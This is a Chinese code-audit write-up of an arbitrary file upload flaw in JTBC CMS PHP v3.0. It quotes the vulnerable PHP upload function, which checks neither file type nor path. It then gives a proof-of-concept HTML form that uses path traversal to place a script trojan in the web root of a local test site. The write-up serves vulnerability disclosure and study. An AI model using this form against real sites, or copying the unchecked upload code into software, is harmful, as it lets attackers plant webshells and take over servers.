【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

2022-09-15 12:24:57

0x00 环境准备

JTBC(CMS)官网：http://www.jtbc.cn

网站源码版本：JTBC_CMS_PHP(3.0) 企业版

程序源码下载：http://download.jtbc.cn/php/3.0/PHP_JTBC_CMS.C.zip

测试网站首页：

1、漏洞文件位置：/console/file/common/incfiles/manage.inc.php 第212-241行：

public static function moduleActionAddFile()
{
$tmpstr = '';
$status = 0;
$message = '';
$path = base::getString(request::get('path'));
$pathRoot = smart::getActualRoute('./');
$account = self::account();
if (!$account -> checkPopedom(self::getPara('genre'), 'add'))
10. {
11. $message = tpl::take('::console.text-tips-error-403', 'lng');
12. }
13. else
14. {
15. if (is_dir($path))
16. {
17. $myPath = base::getLRStr($path, $pathRoot, 'rightr');
18. $filename = @$_FILES['file']['name'];
19. $tmp_filename = @$_FILES['file']['tmp_name'];
20. $newfilepath = $path . self::ppSetFolderAndFileName($filename);
21. if (move_uploaded_file($tmp_filename, $newfilepath))
22. {
23. $status = 1;
24. $account -> creatAutoLog('manage.log-addfile-1', array('path' => $myPath . $filename));
25. }
26. }
27. }
28. $tmpstr = self::formatMsgResult($status, $message);
29. return $tmpstr;

30. }

这段代码中，获取path参数，拼接成完整路径，然后将文件上传到服务器。

并没有对文件类型进行过滤，导致程序在实现上存在任意文件上传漏洞，攻击者可以通过上传脚本木马，控制服务器权限。

1、登录网站后台，然后构造Form表单：

<form enctype="multipart/form-data" action="http://127.0.0.1/console/file/manage.php?type=action&action=addfile&path=../.././" method="post">
Upload a new file:<br>
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>

2、成功上传脚本木马到网站根目录，且文件名未进行重命名